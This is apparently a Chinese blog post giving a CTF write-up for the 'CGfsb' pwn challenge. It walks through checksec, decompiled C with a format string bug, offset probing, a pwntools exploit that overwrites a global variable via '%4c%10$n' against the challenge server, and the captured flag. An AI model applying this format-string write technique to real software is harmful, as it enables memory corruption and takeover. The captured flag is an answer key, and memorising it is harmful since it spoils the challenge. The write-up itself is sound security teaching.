

CGfsb--writeup

原创

ATFWUS 于 2020-03-03 12:06:37 发布 246 收藏

分类专栏: [CTF-PWN # 攻防世界-pwn-- WriteUp](#) 文章标签: [CTF pwn](#) [格式化字符串](#) [漏洞](#) [攻防世界](#)

本文为ATFWUS原创, 允许转载, 但请附上作者署名和本文链接

本文链接: <https://blog.csdn.net/ATFWUS/article/details/104629486>

版权



[CTF-PWN](#) 同时被 2 个专栏收录

33 篇文章 5 订阅

订阅专栏



[攻防世界-pwn-- WriteUp](#)

15 篇文章 0 订阅

订阅专栏

文件下载地址:

链接: <https://pan.baidu.com/s/1a9zj-OQAQgTw7KooZPBaQ>

提取码: y9wi

0x01.分析

checksec:

```
root@at-ubuntu:/home/atfwus/rop# checksec CGfsb
[*] '/home/atfwus/rop/CGfsb'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
root@at-ubuntu:/home/atfwus/rop#
```

32位程序, 没有开启ASLR。

查看源码:

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int buf; // [esp+1Eh] [ebp-7Eh]
4     int v5; // [esp+22h] [ebp-7Ah]
5     __int16 v6; // [esp+26h] [ebp-76h]
6     char s; // [esp+28h] [ebp-74h]
7     unsigned int v8; // [esp+8Ch] [ebp-10h]
8
9     v8 = __readgsdword(0x14u);
10    setbuf(stdin, 0);
11    setbuf(stdout, 0);
12    setbuf(stderr, 0);
13    buf = 0;
14    v5 = 0;
15    v6 = 0;
16    memset(&s, 0, 0x64u);
17    puts("please tell me your name:");
18    read(0, &buf, 0xAu);
19    puts("leave your message please:");
20    fgets(&s, 100, stdin);
21    printf("hello %s", &buf);
22    puts("your message is:");
23    printf(&s);
24    if ( pwnme == 8 )
25    {
26        puts("you pwned me, here is your flag:\n");
27        system("cat flag");
28    }
29    else
30    {
31        puts("Thank you!");
32    }
33    return 0;
34 }
```

<https://blog.csdn.net/ATFWJUS>

利用漏洞:

在查看源码的时候，很明显的发现23行存在格式化字符串漏洞，后面如果pwnme等于8，那么就可以直接得到flag，所以我们要利用格式化字符串漏洞修改pwnme为8，查看pwnme，发现在bss段，得到地址:

```
.bss:0804A065
.bss:0804A068 align 4
.bss:0804A068 pwnme public pwnme
.bss:0804A068 _bss dd ? ; DATA XREF: main+105↑
.bss:0804A068 ends
.prgend:0804A06C ; =====
.prgend:0804A06C
.prgend:0804A06C ; Segment type: Zero-length
```

继续确定偏移量:

```
root@at-ubuntu:/home/atfwus/rop# ./CGfsb
please tell me your name:
atfwus
leave your message please:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
hello atfwus
your message is:
AAAA.ffffd4ae.f7fb35c0.ffffd4fc.f7ffda9c.00000001.f7fd0410.74610001.73757766.0000000a.41414141.3830252e.30252e78.
Thank you!
root@at-ubuntu:/home/atfwus/rop#
```

<https://blog.csdn.net/ATFWJUS>

偏移量为10。可以开始写exp了。

0x02.exp

```
#!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",36301)
#r=process('./CGfsb')

pwnme_addr=0x0804A068

r.sendlineafter("please tell me your name:","ATFWUS")
payload=p32(pwnme_addr)+"%4c%10$n"
r.sendlineafter("leave your message please:",payload)
r.interactive()
```

```
root@at-ubuntu:/home/atfwus/rop# python expCGfsb.py
[+] Opening connection to 111.198.29.45 on port 36301: Done
[*] Switching to interactive mode

hello ATFWUS
your message is:
h\xa0\xa0 \xae
you pwned me, here is your flag:

cyberpeace{207050a512e1255f9dc2766dab8fd401}
[*] Got EOF while reading in interactive
$
```

<https://blog.csdn.net/ATFWUS>